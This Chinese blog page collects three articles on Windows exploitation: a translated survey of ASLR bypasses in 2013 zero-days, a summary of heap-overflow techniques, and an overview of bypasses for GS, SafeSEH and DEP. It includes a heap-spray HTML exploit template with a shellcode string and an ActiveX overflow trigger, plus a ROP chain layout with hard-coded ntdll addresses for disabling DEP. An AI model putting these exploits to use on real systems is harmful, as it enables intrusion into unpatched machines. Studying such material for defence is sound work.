2013年12月26日 星期四

安全保護技術ASLR繞過啟示錄

原文:Link
譯者:Windbg
最近許多APT攻擊使用了新的技術繞過位址隨機化(ASLR),雖然位址隨機化是當前作業系統最有效的防護機制之一,但還不夠完善。在過去一年裡,我們發現了以下幾個有趣的繞過ASLR的技術:
   0x1:   使用未開啟ASLR的模組
   0x2:   修改BSTR長度/null結束符
   0x3:   修改陣列物件
注:標準BSTR是一個有長度首碼和null結束符的OLECHAR陣列。
下面詳細講解這些技術。

0×1:未開啟位址隨機化的模組
    載入一個未開啟位址隨機化的模組是最容易也是最流行的繞過位址隨機化保護的方法,在IE 0day中最常使用的兩個未開啟位址隨機化的模組是:MSVCR71.DLL HXDS.DLL
    JRE 1.6.x包含了一個老版本的C 運行庫 MSVCR71.DLL,編譯時沒有加上/DYNAMICBASE 編譯選項。預設情況下,win7+ie8  win7 +ie9 下,這個DLL會以固定位址載入到IE的進程中。
    MS Office 2010/2007中的 HXDS.DLL  編譯時也沒加上相關選項,該技術最先是在http://www.greyhathacker.net/?p=585提出,也是當前在IE 8/9 + win7 環境下使用最頻繁的過位址隨機化的方法,當流覽器載入一個帶try location.href = ms-help:// 語句的頁面時,這個DLL就會被載入。
下面的0day利用裡面,至少使用了其中一種技術繞過位址隨機化:
CVE-2013-3893
 CVE2013-1347 CVE-2012-4969 CVE-2012-4792
使用條件:
通過未開啟ASLR模組來繞過ASLR的方法要求被攻擊機器運行了較老的軟體如 JRE 1.6  或者 Office 2007/2010 ,升級到最新版的JAVA/OFFICE 就可以這種類型的攻擊。
0×2:修改BSTR長度/null 結束符
    這個技術是Peter Vreugdenhil 2010  Pwn2Own IE 8 上利用的,它只適用於可以覆寫記憶體的漏洞,例如緩衝區溢位,任意位址寫 對可控指標所指向的記憶體內容執行增加或減少操作的漏洞。
    任意位址寫入 類型的漏洞不能直接控制EIP,多數時候,這種類型的漏洞利用會覆寫程式重要的資料如函數指標來達到執行代碼的目的。對於攻擊者來說,他們可以隨意修改BSTR的長度,然後利用BSTR去控制超出邊界的記憶體,這樣就可以洩漏記憶體位址,精確找到可以構造ropdll 。一旦通過這種方式繞過了位址隨機化,也可以使用同樣的漏洞控制EIP
    為數較少漏洞可以用來修改BSTR的長度。例如,一些漏洞只能增加或減少指標一兩個位元組,這種情況下,攻擊者可以修改字串的null結束符使該字串和下一個物件連接起來,這樣下一個物件就成為該字串的一部分,而在這個物件中,一般可以找到和DLL基址相關的資訊。
CVE-2013-0640
Adobe XFA 0day利用中,使用了上述技術找到了AcroForm.api 的基址,動態的構造了rop鏈繞過ASLR DEP ,在這個漏洞裡,攻擊者可以將可控指標指向的內容減一,然後從虛函數表中調用函數。


想像一下在Dec操作之前的記憶體佈局,如下:
[string][null][non-null
data][object]
dec操作之後(在我測的時候,減少了兩次),記憶體佈局變成了:
[string][\xfe][non-null
data][object]
更多細節請查看immunityincs blog.
使用條件:
    這個技術通常需要多次寫入來洩漏需要的資訊,攻擊者需要非常精准的設計堆的佈局,保證length欄位被覆寫而不是記憶體中其他的物件。從IE 9開始,微軟使用了Nozzlehttp://research.microsoft.com/pubs/81085/usenixsec09b.pdf)來防止堆噴/風水,所以有時攻擊者需要使用VBArray技術來精准佈局堆。
修改陣列物件
    陣列物件長度修改和BSTR長度修改相似:他們都需要“好用”的漏洞。從攻擊者來看,一旦陣列長度被修改,攻擊者既可以任意讀寫記憶體或者控制程式流程,到達代碼執行的目的。
下面是使用該技術的0day利用。
CVE-2013-0634
   這個漏洞是Flash player在處理regex時的堆溢出,攻擊者覆寫了Vector.<Number>物件的length屬性,然後就可以讀取更多的內容,獲取flash.ocx的基址。
   這個漏洞利用流程如下:



Step1:通過申請下面所示的物件來設置連續的記憶體佈局:


Step2:如下所示釋放掉上面申請的物件中序號為1<Number>物件。

obj[1]
= null;
Step3:申請一個RegExp物件,這次申請會重新使用剛才釋放掉的位置。
boom = "(?i)()()(?-i)||||||||||||||||||||||||";
var trigger = new RegExp(boom, "");
    然後,當觸發漏洞後,會覆寫掉obj[2]裡的 Vector.<Number>物件的長度屬性,使其變大,攻擊者就可以通過obj[2]來讀寫一個大範圍的記憶體空間來定位flash.ocx的基址,然後覆寫掉虛表達到代碼執行的目的。
CVE-2013-3163
    這個漏洞是IE CBlockContainerBlock  物件UAF ,利用程式和CVE-2013-0634很像,但是更複雜一些。
    這個漏洞使用 OR 指令修改任意記憶體內容,大致如下:
or dword ptr [esi+8],20000h
利用流程如下:


首先,使用Vector.<uint>對象填充堆。
在填充之後,這些物件以對齊的方式存儲在一個固定的位址。

像是這樣:
第一個dword
0x03f0Vector.<uint>物件的長度,黃色標記是我們填充的值。如果攻擊者將esi+8指向0x03f0,or指令執行過後,變為0x0203f0,看到沒,大多了!!由於可控範圍變大,可將緊接著的對象長度改為0x3FFFFFF0



然後,攻擊者就可以控制整個IE進程的記憶體空間了,NB!位址隨機化也就沒用了,因為可以直接從記憶體中獲取到kernel32/NTDLL的基址。通過從程式碼片段動態尋找stack pivot
gadgets,從IAT定位到ZwProtectVirtualMemory,就可以構造rop鏈修改記憶體屬性繞過DEP.


通過精確的記憶體佈局,攻擊者又申請了一個包含flash.Media.Sound()對象的Vector.<object>,使用已經被修改過的Vector.<uint>物件去尋找sound物件,然後覆寫它的虛表指向rop鏈和shellcode.
CVE-2013-1690
   這是FireFoxDocumentViewerImpl物件的UAF漏洞,可以任意記憶體寫入一個word0×0001.
    上面的代碼中,所有以 m’開頭的變數都是從我們可以控制的物件中讀取的。如果可以設置物件,進入第二個條件判斷,強制跳進setImageAnimationMode()調用,觸發記憶體覆寫。setImageAnimationMode()內部代碼大概如下:



在這個利用中,攻擊者嘗試使用ArrayBuffer來精確佈局堆。下面的代碼中,每一個var2中的ArrayBuffer原始大小為0xff004

觸發漏洞後,ArrayBuffer長度增加為0x010ff004.也可通過在JS中比較byteLength來定位被修改了長度的ArrayBuffer ,然後攻擊者可通過這個ArrayBuffer來讀寫記憶體了。這次,攻擊者選擇從SharedUserData(0x7ffe0300)洩漏NTDLL的基址,然後手動硬編碼偏移來構造ROP.
CVE-2013-1493
   這個漏洞是JAVA CMM的整數溢出漏洞,可以覆寫陣列長度。在漏洞利用中,陣列長度可以到達0x7fffffff,攻擊者可以搜索securityManager物件然後設置它為null來繞過沙箱。
   這個方法相較於覆寫函數指標,處理位址隨機化和資料執行保護以到達代碼執行更加有效。
   陣列物件修改技術比其他的要好一些。因為Flash ActionScript vector技術,堆填充一點都沒受影響。只要你有記憶體覆寫漏洞,很輕鬆的就可以利用。
幾種技術細節對比對比:
繞過ASLR技術
優點
使用限制
CVE
備註
修改陣列物件
高級利用技巧
擴大陣列長度後可以任意記憶體讀寫
需要有記憶體覆寫漏洞
需要被攻擊者安裝flash

CVE-2013-1690
FireFox uaf 可以覆寫一個用戶控制的指標  修改ArrayBuffer長度到達任意記憶體讀寫
CVE-2013-3163
IE  UAF 。攻擊者可以修改Vector.<Uint>的長度,然後尋找構造rop的指令
CVE-2013-1493
JAVA整數溢出,覆寫陣列物件長度,到達任意記憶體讀寫
CVE-2013-0633
FLASH PLAYER 規則運算式緩衝區溢位,修改Vector.<Number>物件到達任意記憶體讀寫

修改BSTR null結束符

高級利用技巧
能洩漏部分記憶體繞過位址隨機化

記憶體覆寫漏洞
不同的Adobe Reader需要硬編碼不同的rop 偏移
CVE-2013-0640
Adobe Reader 未初始化記憶體使用   修改BSTR  null結束符洩露記憶體

使用未開啟位址隨機化的模組
容易利用
不太需要技巧

特定版本的軟體

CVE-2013-3893

IE UAF hxds.dll中構造rop 繞過位址隨機化和資料執行保護。
CVE-2012-4792
IE UAF JRE 1.6 OFFICE 2010 未開啟地址隨機化
總結
    繞過位址隨機化是現在漏洞利用最基本的需求,之前利用MS OFFICE未開啟ASLR dll來繞過,但是微軟在最新的作業系統和流覽器裡面做了限制。之前的技術將淘汰也更容易被檢測,攻擊者需要更先進的技術,對於可以覆寫記憶體的漏洞,結合Vector.<uint> Vector.<object>將更加可靠和靈活,從只能寫一個位元組到大範圍讀寫記憶體將非常容易,而且適用於各種作業系統,應用程式,語言版本。
    許多研究者公佈了對於繞過地址隨機化的研究,像Dion Blazakis JIT spray and tombkeeper LdrHotPatchRoutine技術。但是至今還未見使用,可能是因為這些技術是通用的對抗ASLR的方法,所以一經公佈,很快就被修補了。
    但是沒有一種通用的辦法修補特定的漏洞利用,希望將來有更多的0day使用相同的或者更加高級的技巧,我們可能需要在OSs裡面加入新的防護措施和安全產品來對抗0day攻擊。


windows Heap溢出利用方式總結

Title:windows堆溢出利用方式總結
Author:riusksk(泉哥)
Blog  :http://riusksk.blogbus.com

一、利用VEH

向量化異常處理(VEH,Vectored Exception Handling)最初是在XP中公佈,它的優先級高於SEH,並且VEH是存在堆中的,它是你在代碼中明確新增的,並不伴隨try/catch之類的語句而產生,它也需要通過API(AddVectoredExceptionHandler)來註冊回調函數,並可註冊多個VEH,各個VEH結構體之間串成雙向鏈表,因此比SEH多了一個前後指標,其它更詳細的訊息可參考《Windows XP中的向量化異常處理》一文:http://bbs.pediy.com/showthread.php?t=49868。每一個VEH結構均存儲在堆上,其結構如下:

struct _VECTORED_EXCEPTION_NODE
{
    DWORD   m_pNextNode;        //指向下一個_VECTORED_EXCEPION_NODE結構,因此可用偽造的指標來覆蓋它
    DWORD   m_pPreviousNode;        //指向上一個_VECTORED_EXCEPION_NODE結構
    PVOID   m_pfnVectoredHandler;    //異常處理函數
}

負責分發_VECTORED_EXCEPION_NODE的代碼如下:

77F7F49E   8B35 1032FC77    MOV ESI,DWORD PTR DS:[77FC3210]    ;賦值後ESI指向_VECTORED_EXCEPION_NODE結構,即m_pNextNode
77F7F4A4   EB 0E            JMP SHORT ntdll.77F7F4B4
77F7F4A6   8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9   50               PUSH EAX
77F7F4AA   FF56 08          CALL DWORD PTR DS:[ESI+8]        ;可用shellcode-0x8去覆蓋m_pNextNode指標

接著我們在堆中確定shellcode地址,可先用垃圾字符去填充,比如'0x41',然後在堆中搜索它。當發生堆溢出時,堆塊的前向指標和後向指標就會被篡改,比如異常出現在:

MOV DWORD PTR DS:[ECX],EAX    ;EAX = Flink = 寫入的內容
MOV DWORD PTR DS:[EAX+4],ECX    ;ECX = Blink = 寫入的地址

那麼我們就可以用m_pNextNode-4來覆蓋ECX,然後用shellcode-8去覆蓋EAX。關於m_pNextNode指標的獲取,我們只需在觸發異常後,按shift+F7步過異常即可找到此指標,比如以下代碼:

77F60C2C   BF 1032FC77      MOV EDI,ntdll.77FC3210        ;m_pNextNode指標
77F60C31   393D 1032FC77    CMP DWORD PTR DS:[77FC3210],EDI
77F60C37   0F85 48E80100    JNZ ntdll.77F7F485

關於EAX和ECX的偏移地址可通過pattern_create和pattern_offset來獲取。這樣當觸發異常時就會調用VEH,而此時下一個VEH結構即是我們特意構造的shellcode,這樣我們的惡意代碼就有可以被執行了。

二、利用UEF

系統默認異常處理函數(UEF,Unhandler Exception Filter)是系統處理異常時最後調用的一個異常處理例程,在堆溢出中,只需將這一地址覆蓋為我們的shellcode地址即可。獲取UEF地址的方法可以通過查看SetUnhandledExceptionFilter()的代碼來定位,接著再找到操作UnhandledExceptionFilter指標的MOV指令,比如以下代碼:

77E93114   A1 B473ED77      MOV EAX,DWORD PTR DS:[77ED73B4]    ;UnhandledExceptionFilter指標
77E93119   3BC6             CMP EAX,ESI
77E9311B   74 15            JE SHORT kernel32.77E93132
77E9311D   57               PUSH EDI
77E9311E   FFD0             CALL EAX

現在我們只需找到shellcode地址,或者看是否有某一暫存器reg剛好指向shellcode或其附近,然後用shellcode地址或者類似call [reg + offset]的指令地址來覆蓋UnhandledExceptionFilter指標,比較常用的指令如:

call dword ptr ds:[edi+74]
call dword ptr ds:[esi+4c]

其它eax,ebx也有可能指向堆,亦可作為跳板來用。

三、利用PEB

由於當UEF被調用後,它最終會調用ExitProcess()來結束程序,而它在清理現場時需要進入臨界區以同步執行緒,因此會調用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是通過存放在PEB中的一對指標來調用這兩個函數的,如果能夠利用DWORD SHOOT把這對指標篡改成shellcode入口地址,那麼在程序結束調用ExitProcess()就會執行shellcode。下面是在Windows XP SP3下PEB的情況:

0:000> dt _PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 SpareBool        : UChar
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : Ptr32 Void
   +0x018 ProcessHeap      : Ptr32 Void
   +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION    //根據此指標來間接進入臨界區
   +0x020 FastPebLockRoutine : Ptr32 Void
   +0x024 FastPebUnlockRoutine : Ptr32 Void
   +0x028 EnvironmentUpdateCount : Uint4B
   ……

但在WinXP SP2之後微軟就加入了PEB random保護,不再使用固定的PEB基址,而使用具有一定隨機性的PEB基址,以提高利用的難度。

四、Heap Spary

Heap Spary技術最早是由SkyLined於2004年為IE的iframe漏洞寫的exploit而使用到新技術,目前主要作為瀏覽器攻擊的經典方法,被大量網馬所使用。Heap Spary技術是使用js分配記憶體,所分配的記憶體均放入堆中,然後用各帶有shellcode的堆塊去覆蓋一大片記憶體地址,Javascript分配記憶體從低址向高址分配,申請的記憶體空間超出了200M,即大於了0x0C0C0C0C時,0x0C0C0C0C就會被覆蓋掉,因此只要讓IE執行到0x0C0C0C0C(有時也會用0x0D0D0D0D這一地址)就可以執行shellcode,這些堆塊可以用NOP + shellcode 來填充,每塊堆構造1M大小即可,當然這也不是固定。這樣當nop區域命中0x0c0c0c0c時,就可執行在其後面的shellcode。下面是一個簡單模板:

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<script>

Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";

var nop="\u9090\u9090";
while (nop.length <= 0x100000/2)
{
    nop+=nop;
}
nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i<200; i++)
{
    slide[i] = nop + shellcode;
}

var s= '';
while (s.length < 748)
{
    s+="\x0c";
}
target.Overflow(s);

</script>
</body>
</html>

五、Bitmap Flipping Attack

在 Heap Management 結構中包含有Freelist Bitmap標誌位,它是一個4字節的DWORD值,當對應的FreeList[n]被填充時,bitmap就將被設置。當請求分配堆塊時,它會先搜索與之大小合適的FreeList[n],然後檢測對應的bitmap,若上面為0就表示上面是塊未使用的空閒塊,則對應的FreeList[n]將用於分配配塊,接著返回到對應的請求塊FreeList[n]指向的地址。因此如果我們可以控制Bitmap,並能夠覆蓋freelist[n]中的值,那麼我們就可以通過它來執行任意代碼。更多訊息可參見Ruxcon 2008大會上面的文章《Heaps About Heaps》

六、Heap Cache Attack

Heap Cache主要用於降低頻繁遍歷FreeList[0]的性能消耗,以提高性能。它主要是為FreeList[0]中的堆塊建立擴展索引,更重要的是,Heap Manager並沒有將任何空閒塊移動緩衝中,這些空閒塊一直保存在FreeList[0]中,但緩衝中保存著一些指標,它們指向FreeList[0]中的某些節點,以此來提升訪問FreeList[0]的速度。堆緩衝是一個bucket陣列,每一個bucket包含有intptr_t字節用於存儲大小,還有一個NULL指標或者FreeList[0]上的堆塊指標。默認情況下,陣列包括有896個bucket,其大小在1024和8192之間,但大小是可配置的,我們可指定最大的緩衝索引號。在堆緩衝攻擊技術中又存在各種利用方式,比如De-synchronization Attack(通過覆寫堆塊頭訊息中的大小域,使每次請求同等大小堆塊時都指向同一塊已經使用的記憶體塊,如果攻擊者可能控制這一記憶體塊中的內容,就有可能導致任意代碼執行),Insert Attack、Existing Attacks、Malicious Cache Entry Attack……這些方法有很大的局限性,在實際運用上很難派上用場,若想獲取更多關於這方面的訊息可以參見BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。

七、Bitmap XOR Attack

Bitmap XOR Attack 是通過異或操作來更改 freelist bitmap,如果系統嘗試清除這一錯誤的標誌位,那麼就可能從一個空閒位(free bit)切換到設置位(set bit),進而實現類似上文提到的bitmap attack。這個可以通過篡改堆塊頭訊息中的大小域(CurSize),使其小於0x80,接著再使對應堆塊中的前向指向與後向指標相等(flink == blink),並保證其指向的地址是可讀的。更多訊息可以參見BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。後面這幾種方法實際利用價值不大,權當瞭解,學習思路更為重要。

windows溢出保護原理與繞過方法概覽

標題:windows溢出保護原理與繞過方法概覽
作者:riusksk(泉哥)
主頁:http://riusksk.blogbus.com
出處:http://bbs.pediy.com/showthread.php?p=879124#post879124
本文已發表於《黑客防線》

前言
從20世紀80年代開始,在國外就有人開始討論關於溢出的攻擊方式。但是在當時並沒有引起人們的注意,直至後來經一些研究人員的披露後,特別是著名黑客雜 志Phrack上面關於溢出的經典文章,引領許多人步入溢出研究的行列,從此關於緩衝區溢出的問題才為人們所重視。隨著溢出研究的深入,網上開始出現很多 關於溢出攻擊教程,揭露了許多溢出利用技術,特別是經典的call/jmp esp,借此溢出攻擊案例層出不窮。這也引起了微軟的重視,他們在 windows系統及VC++編譯器上加入了各種溢出保護機制,以試圖阻止這類攻擊,可惜每次公佈溢出保護機制之後,不久就有人公佈繞過方法。MS每次都 稱某保護機制將成為溢出利用的末日,可惜每次都被終結掉。既而,黑客與微軟之間的溢出鬥爭一直持續著。更多關於windows溢出的歷史,可參見由 Abysssec安全組織編寫的文章 《Past,Present,Future of Windows Exploitation》(http://www.abysssec.com /blog/2010/05/past-present-future-of -windows-exploitation/)。在本篇文章中主要揭露了 windows平台上的各種溢出保護機制原理以及繞過方法,具體內容參見下文。

一、GS編譯選項

原理:通過VC++編譯器在函數前後新增額外的處理代碼,前部分用於由偽隨機數生成的cookie並放入.data節段,當本地變數初始化,就會向棧中插入cookie,它位於局部變數和返回地址之間:

    ┌════════┐記憶體低地址
    │   局部變數     │▲
    ├════════┤│
    │security_cookie ││
    ├════════┤│棧
    │  入棧暫存器    ││生
    ├════════┤│長                      
    │     SEH節點    ││方
    ├════════┤│向
    │    返回地址    ││
    ├════════┤│
    │    函數參數    ││
    └════════┘記憶體高地址

經GS編譯後棧中局部變數空間分配情況:

sub   esp,24h
mov   eax,dword ptr [___security_cookie (408040h)]
xor   eax,dword ptr [esp+24h]
mov   dword ptr [esp+20h],eax

在函數尾部的額外代碼用於在函數返回時,調用security_check_cookie()函數,以判斷cookie是否被更改過,當函數返回時的情況如下:

mov   ecx,dword ptr [esp+20h]
xor   ecx,dword ptr [esp+24h]
add   esp,24h
jmp   __security_check_cookie (4010B2h)

在緩衝區溢出利用時,如果將惡意代碼從局部變數覆蓋到返回地址,那麼自然就會覆寫cookie,當檢測到與原始cookie不同時(也就是比較上面408040h與4010B2h兩處cookie值的比較),就會觸發異常,最後終止行程。

繞過方法:

1.猜測/計算cookie
Reducing the Effective Entropy of GS Cookies:http://www.uninformed.org/?v=7&a=2&t=html
至從覆蓋SEH的方法出現後,這種方法目前已基本不用了,它沒有後面的方法來得簡便。

2.覆蓋SEH
由於當security_check_cookie()函數檢測到cookie被更改後,會檢查是否安裝了安全處理例程,也就是SEH節點中保存的指標, 如果沒有,那麼由系統的異常處理器接管,因此我們可以通過(pop pop ret)覆蓋SEH來達到溢出的目的。但對於受SafeSEH保護的模組,就 可能會導致exploit失效,關於它的繞過在後續部分再述。
輔助工具:OD插件safeSEH、pattern_create、pattern_offset、msfpescan、memdump

3.覆蓋虛表指標
堆疊佈局:[局部變數][cookie][入棧暫存器][返回地址][參數][虛表指標]
當把虛表指標覆蓋後,由於要執行虛函數得通過虛表指標來搜索,即可借此劫持eip。

二、SafeSEH

原理:為了防止SEH節點被攻擊者惡意利用,微軟在.net編譯器中加入/sdeseh編譯選項引入SafeSEH技術。編譯器在編譯時將PE文件所有合 法的異常處理例程的地址解析出來製成一張表,放在PE文件的數據塊(LQAJ)一C0N—FIG)中,並使用shareuser記憶體中的一個隨機數加密, 用於匹配檢查。如果該PE文件不支持safesEH,則表的地址為0。當PE文件被系統加載後,表中的內容被加密保存到ntdl1.dll模組的某個數據 區。在PE文件運行期間,如果發生異常需要調用異常處理例程,系統會逐個檢查該例程在表中是否有記錄:如果沒有則說明該例程非法,進而不執行該異常例程。

繞過方法

利用SafeSEH保護模組之外的地址
對於目前的大部分windows操作系統,其系統模組都受SafeSEH保護,可以選用未開啟SafeSEH保護的模組來利用,比如漏洞軟體本身自帶的 dll文件,這個可以借助OD插件SafeSEH來查看行程中各模組是否開啟SafeSEH保護。除此之外,也可通過直接覆蓋返回地址 (jmp/call esp)來利用。另一種方法,如果esp +8 指向EXCEPTION_REGISTRATION 結構,那麼你仍然可以尋找一個 pop/pop/ret指令組合(在加載模組的地址範圍之外的空間),也可以正常工作。但如果你在程序的加載模組中找不到pop/pop/ret 指令, 你可以觀察下esp/ebp,查看下這些暫存器距離nseh 的偏移,接下來就是查找這樣的指令:

call dword ptr[esp+nn] / jmp dword ptr[esp+nn]
call dword ptr[ebp+nn] / jmp dword ptr[ebp+nn]
call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]
(其中的nn 就是暫存器的值到nseh 的偏移,偏移nn可能是: esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18)。

如果遇到以上指令是以NULL字節結尾的,可將shellcode放置在SEH之前:
‧ 在nseh 上放置向後的跳轉指令(跳轉7 字節:jmp 0xfffffff9);
‧ 向後跳轉足夠長的地址以存放shellcode,並借此執行至shellcode;
‧ 把shellcode 放在用於覆蓋異常處理結構的指令地址之前。

三、DEP

原理:數據執行保護 (DEP) 是一套軟硬體技術,能夠在記憶體上執行額外檢查以防止在不可運行的記憶體區域上執行代碼。 在 Microsoft Windows XP Service Pack 2、 Microsoft Windows Server 2003 Service Pack 1 、 Microsoft Windows XP Tablet PC Edition 2005 、 Microsoft Windows Vista 和 windows 7 中,由硬體和軟體一起強制實施 DEP。DEP 有兩種模式,如果CPU 支 持記憶體頁NX 屬性, 就是硬體支持的DEP。只有當處理器/系統支持NX/XD位(禁止執行)時,windows才能擁有硬體DEP,否則只能支持軟體 DEP,相當於只有SafeSEH保護。

繞過方法:

1.ret2lib
其思路為:將返回地址指向lib庫中的代碼,而不直接跳轉到shellcode 去執行,進而實現惡意代碼的運行。可以在庫中找到一段執行系統命令的代 碼,比如system()函數,用它的地址覆蓋返回地址,此時即使NX/XD 禁止在堆疊上執行代碼,但庫中的代碼依然是可以執行的。函數 system()可通過運行環境來執行其它程序,例如啟動Shell等等。另外,還可以通過VirtualProtect函數來修改惡意代碼所在記憶體頁面 的執行權限,然後再將控制轉移到惡意代碼,其堆疊佈局如下所示:
┌════════════┬═════════════════┐      
│                        │            惡意代碼              │記憶體高地址
│                        ├═════════════════┤│
│                        │        lpflOldProtect            ││
│                        ├═════════════════┤│
│                        │          flNewProtect            ││棧
│       調用參數         ├═════════════════┤│
│                        │             dwSize               ││生
│                        ├═════════════════┤│
│                        │            lpAddress             ││長
│                        ├═════════════════┤│
│                        │      惡意代碼的入口地址          ││方
├════════════┼═════════════════┤│
│      返回地址          │    VirtualProtect函數地址        ││向
├════════════┼═════════════════┤│
│ EBP上層函數堆疊基址    │                                  ││
├════════════┤                                  ││
│ 異常例程入口地址(若有 │     填充數據的覆蓋區域          ││
│設置的話,比如try…catch)│       (AAAAAAAA……)           ││
├════════════┤                                  │▼
│      局部變數          │                                  │記憶體低地址
└════════════┴═════════════════┘
更多訊息可參考資料:http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf

2.利用TEB突破DEP
在之前的《黑客防線》中有篇文章《SP2下利用TEB執行ShellCode》,有興趣的讀者可以翻看黑防出版的《緩衝區溢出攻擊與防範專輯》,上面有這 篇文章。該作者在文中提到一種利用TEB(執行緒環境塊)來突破DEP的方法,不過它受系統版本限制,只能在XP sp2及其以下版本的windows系統 上使用,因為更高版本的系統,其TEB地址是不固定的,每次都是動態生成的。該方法的具體實現方法如下:
(1)將返回地址覆蓋成字符串複製函數的地址,比如lstrcpy,memcpy等等;
(2)在返回地址之後用目標記憶體地址和shellcode地址覆蓋,當執行複製操作時,就會將shellcode複製到目標記憶體地址,該目標記憶體地址位於TEB偏移0xC00的地方,它有520字節緩衝用於ANSI-to-Unicode函數的轉換;
(3)複製操作結束後返回到shellcode地址並執行它。
此時其堆疊佈局如下:
【shellcode】【save ebp】【lstrcpy】【TEB緩衝地址,用於複製結束後返回到shellcode】【TEB緩衝地址】【ShellCode地址】

3.關閉DEP
關於此方法最原始的資料應該是黑客雜誌《uninformed》上的文章《Bypassing Windows Hardware- enforced Data Execution Prevention》(http://www.uninformed.org/?v=2& a=4),另外也可以看下本人之前翻譯的《突破win2003 sp2中基於硬體的DEP》(http://bbs.pediy.com /showthread.php?t=99045),此方法的主要原理就是利用NtSetInformationProcess()函數來設置 KPROCESS 結構中的相關標誌位,進而關閉DEP,KPROCESS結構中相關標誌位情況如下:

0:000> dt nt!_KPROCESS -r
ntdll!_KPROCESS
. . .
+0x06b Flags       : _KEXECUTE_OPTIONS
  +0x000 ExecuteDisable     : Pos 0, 1 Bit
  +0x000 ExecuteEnable     : Pos 1, 1 Bit
  +0x000 DisableThunkEmulation   : Pos 2, 1 Bit
  +0x000 Permanent     : Pos 3, 1 Bit
  +0x000 ExecuteDispatchEnable   : Pos 4, 1 Bit
  +0x000 ImageDispatchEnable   : Pos 5, 1 Bit
  +0x000 Spare       : Pos 6, 2 Bits
 
當DEP 被啟用時,ExecuteDisable 被置位,當DEP 被禁用,ExecuteEnable 被置位,當Permanent 標誌置位時表示這些設置是最終設置,不可更改。代碼實現:

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
  NtCurrentProcess(),   // ProcessHandle = -1
  ProcessExecuteFlags,   // ProcessInformationClass = 0x22(ProcessExecuteFlags)
  &ExecuteFlags,     // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
  sizeof(ExecuteFlags));   // ProcessInformationLength = 0x4
   
具體實現思路(以我電腦上VirtualBox虛擬機下的xp sp3為例):
1.將al設置為1,比如指令mov al,1 / ret,然後用該指令地址覆蓋返回地址:

0:000> lmm ntdll
start    end        module name
7c920000 7c9b3000   ntdll      (pdb symbols)          c:\symbollocal\ntdll.pdb\1751003260CA42598C0FB326585000ED2\ntdll.pdb
0:000> s 7c920000 l 93000 b0 01 c2 04
7c9718ea  b0 01 c2 04 00 90 90 90-90 90 8b ff 55 8b ec 56  ............U..V
0:000> u 7c9718ea
ntdll!NtdllOkayToLockRoutine:
7c9718ea b001            mov     al,1
7c9718ec c20400          ret     4

由於上面的ret 4,因此要再向棧中填充4字節(比如0xffffffff)以抵消多彈出的4字節,如果選擇的指令剛好是ret則無須再多填充4字節。

2.跳轉到ntdll!LdrpCheckNXCompatibility中的部分代碼(從cmp al,1 開始,可通過windbg下的命令 uf ntdll!LdrpCheckNXCompatibility來查看其反彙編代碼),比如以下地址就需要用0x7c93cd24來覆寫堆疊上的第 二個地址:

ntdll!LdrpCheckNXCompatibility+0x13:
7c93cd24 3c01            cmp     al,1
7c93cd26 6a02            push    2
7c93cd28 5e              pop     esi
7c93cd29 0f84df290200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e)  ; 之前已將al置1,故此處實現跳轉

3.上面跳轉後來到這裡:

0:000> u 7c95f70e
ntdll!LdrpCheckNXCompatibility+0x1a:
7c95f70e 8975fc          mov     dword ptr [ebp-4],esi  ; [ebp-0x4]= esi = 2
7c95f711 e919d6fdff      jmp     ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f)

4.上面跳轉後來到:

0:000> u 7c93cd2f
ntdll!LdrpCheckNXCompatibility+0x1d:
7c93cd2f 837dfc00        cmp     dword ptr [ebp-4],0
7c93cd33 0f85f89a0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c956831) ; 不相等再次實現跳轉

5.上面跳轉後來到:

0:000> u 7c956831
ntdll!LdrpCheckNXCompatibility+0x4d:
7c956831 6a04            push    4     ;ProcessInformationLength = 4
7c956833 8d45fc          lea     eax,[ebp-4]
7c956836 50              push    eax      ;ProcessInformation = 2(MEM_EXECUTE_OPTION_ENABLE)
7c956837 6a22            push    22h       ;ProcessInformationClass = 0x22(ProcessExecuteFlags)
7c956839 6aff            push    0FFFFFFFFh
7c95683b e84074fdff      call    ntdll!ZwSetInformationProcess (7c92dc80)
7c956840 e92865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d)
7c956845 90              nop

在這裡調用函數ZwSetInformationProcess(),而其參數也剛好達到我們關閉DEP的各項要求.

6.最後跳轉到函數結尾:

0:000> u 7c93cd6d
ntdll!LdrpCheckNXCompatibility+0x5c:
7c93cd6d 5e              pop     esi
7c93cd6e c9              leave
7c93cd6f c20400          ret     4

最後的堆疊佈局應為:
【AAA……】【al=1地址】【0xffffffff】【LdrpCheckNXCompatibility指令地址】【0xffffffff】【"A" x 54】【call/jmp esp】【shellcode】
  ▲       ▲            ▲                       ▲                      ▲            ▲
填充數據  返回地址   抵消ret 4的4字節     指令cmp al,0x1 的起始地址      平衡堆疊   調整NX禁用後的堆疊

